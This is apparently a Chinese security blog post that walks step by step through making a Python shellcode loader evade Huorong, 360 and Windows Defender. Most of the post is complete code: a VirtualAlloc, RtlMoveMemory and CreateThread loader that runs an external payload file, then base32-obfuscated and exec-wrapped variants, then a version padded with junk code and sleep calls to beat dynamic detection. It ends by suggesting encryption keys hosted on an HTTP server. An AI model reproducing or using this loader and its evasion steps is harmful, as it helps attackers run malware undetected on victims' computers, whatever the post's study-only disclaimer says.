免责声明:
本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。
最近暗月弄了数个安全圈交流的群 欢迎前来加入 有需要好友添加微信发送
进群
简介
一种python动态加密免杀方式,过火绒、360、windows defender
正文
从免杀讲起
免杀就是
反病毒技术
,它指的是一种使病毒木马免于被杀软查杀的技术,由于免杀技术的涉猎范围非常广,其中包含反会变、逆向工程、系统漏洞等和可技术,所以难度很高,其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀
一个python加载器
下面具体举例一个python分离加载的例子
# coding=utf-8
import ctypes
# pyinstaller -F .\main.py
f = open('payload0604.bin', 'rb')
shellcode = f.read()
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
上面为烂大街的代码,一定过不了免杀的,今天就这里开始一步一步过掉defender
前置基础
# ast - demo
# 读取源文件
with open("demo.py") as f:
data = f.read()
# 生成可以被 exec() 或 eval() 执行的代码对象
cm = compile(data, '<string>', 'exec')
exec(cm)
利用AST绕过免杀
既然免杀杀的的一个程序,程序又是一条一条的控制指令,代码层面也就是一行一行的代码,那么到底是哪一行被ban掉,我们可以通过一行一行进行注释进行测试
经过简单的ast代码如下
# coding=utf-8
# pyinstaller -F .\ast_test.py
import ctypes
# 读取源文件
with open("main", encoding='utf-8') as f:
data = f.read()
# 生成可以被 exec() 或 eval() 执行的代码对象
cm = compile(data, '<string>', 'exec')
exec(cm)
mian文件即为上面的烂大街代码
# coding=utf-8
import ctypes
# pyinstaller -F .\main.py
f = open('payload0604.bin', 'rb')
shellcode = f.read()
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
继续生成exe测试
360尝试
这里发现360会扫描静态文本,简单做一下变形即可
对main进行base32变形
# coding=utf-8
# pyinstaller -F .\ast_test.py
import ctypes
import base64
# 读取源文件
with open("main", "rb") as f:
data = f.read()
print(data)
print(type(data))
after_data = base64.b32encode(data)
with open("after_main", "wb") as f:
f.write(after_data)
ast代码同步做改动
# coding=utf-8
# pyinstaller -F .\ast_test.py
import ctypes
import base64
# 读取源文件
with open("after_main") as f:
data = f.read()
print(data)
data = base64.b32decode(data)
# 生成可以被 exec() 或 eval() 执行的代码对象
cm = compile(data, '<string>', 'exec')
exec(cm)
defender尝试
base_data.py
# coding=utf-8
# pyinstaller -F .\ast_test.py
import ctypes
import base64
# 读取源文件
with open("main.py", "rb") as f:
data = f.read()
print(data)
print(type(data))
after_data = base64.b32encode(data)
with open("after_main", "wb") as f:
f.write(after_data)
# 读取源文件
with open("payload0604.bin", "rb") as f:
data = f.read()
print(data)
print(type(data))
after_data = base64.b32encode(data)
with open("after_test", "wb") as f:
f.write(after_data)
# coding=utf-8
import ctypes
import base64
# pyinstaller -F .\main.py
f = open('after_test', 'rb')
shellcode = f.read()
shellcode = base64.b32decode(shellcode)
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
静态扫描通过
动态失败
windows defender的动态检测还是很厉害
加花尝试
# coding=utf-8
import ctypes
import base64
import math
# pyinstaller -F .\main.py
f = open('after_test', 'rb')
shellcode = f.read()
shellcode = base64.b32decode(shellcode)
shellcode = bytearray(shellcode)
print('\n'.join([''.join([('Love'[(x-y)%4]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0 else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
print('\n'.join([''.join([('Love'[(x-y)%4]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0 else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))
import time
time.sleep(10)
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
results = [1]
for i in range(2, 200):
for j in range(2, int(math.sqrt(i))):
if i % j == 0:
break
else:
results.append(i)
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
time.sleep(3)
results = [1]
for i in range(2, 1000):
for j in range(2, int(math.sqrt(i))):
if i % j == 0:
break
else:
results.append(i)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
for i in range(2, 1000):
for j in range(2, int(math.sqrt(i))):
if i % j == 0:
break
else:
results.append(i)
time.sleep(3)
for i in range(2, 1000):
for j in range(2, int(math.sqrt(i))):
if i % j == 0:
break
else:
results.append(i)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
深入一下
实际对于本次ast绕过defender的深入只采取了简单的加花处理,相对来说不够稳定,但这也是免杀的一个乐趣吧,当然,除了加花意外还有很多读者可进行的操作,比如:
-
ast动态修改节点
-
进行更为强度的多重编码
-
将编码升级为加密,密钥存储http服务器
-
等等等等
写在最后
免杀学习过程中本身学习的就是一个思路,随着免杀的公开->杀毒的提升,免杀的难度也会随之提升
切记,免杀学的是思路,不是具体的方法,本文的最后一节也只是提供了一个思路。
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏